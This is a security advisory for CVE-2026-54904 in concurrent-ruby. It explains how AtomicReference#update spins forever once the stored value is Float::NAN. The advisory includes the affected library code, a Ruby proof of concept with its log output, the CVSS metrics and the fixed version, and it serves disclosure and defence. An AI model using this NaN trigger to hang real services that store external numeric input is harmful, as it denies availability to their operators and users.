CVE-2026-54904
ADVISORY - githubSummary
Summary
Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.
The issue is caused by the interaction between:
AtomicReference#update, which retries untilcompare_and_set(old_value, new_value)succeeds.- Numeric
compare_and_set, which checksold == old_valuebefore attempting the underlying atomic swap. - Ruby NaN semantics, where
Float::NAN == Float::NANis alwaysfalse.
As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
AtomicReference#update retries until compare_and_set returns true:
def update
true until compare_and_set(old_value = get, new_value = yield(old_value))
new_value
end
For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:
def compare_and_set(old_value, new_value)
if old_value.kind_of? Numeric
while true
old = get
return false unless old.kind_of? Numeric
return false unless old == old_value
result = _compare_and_set(old, new_value)
return result if result
end
else
_compare_and_set(old_value, new_value)
end
end
When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.
This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.
PoC
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"
ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false
worker = Thread.new do
ref.update do |_old_value|
attempts += 1
0.0
end
finished = true
end
sleep 0.25
puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"
if worker.alive? && !finished && attempts > 1000
puts 'result=REPRODUCED busy retry loop; update did not complete'
else
puts 'result=NOT_REPRODUCED'
end
worker.kill
worker.join
control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
control_attempts += 1
old_value + 1.0
end
puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"
Log evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0
Impact
This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
Common Weakness Enumeration (CWE)
Loop with Unreachable Exit Condition ('Infinite Loop')
GitHub
-
CVSS SCORE
8.2high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| concurrent-ruby | gem | - | - | <1.3.7 | 1.3.7 |
CVSS:4 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges.
There is no loss of confidentiality within the Vulnerable System.
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
There is no loss of integrity within the Vulnerable System.
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.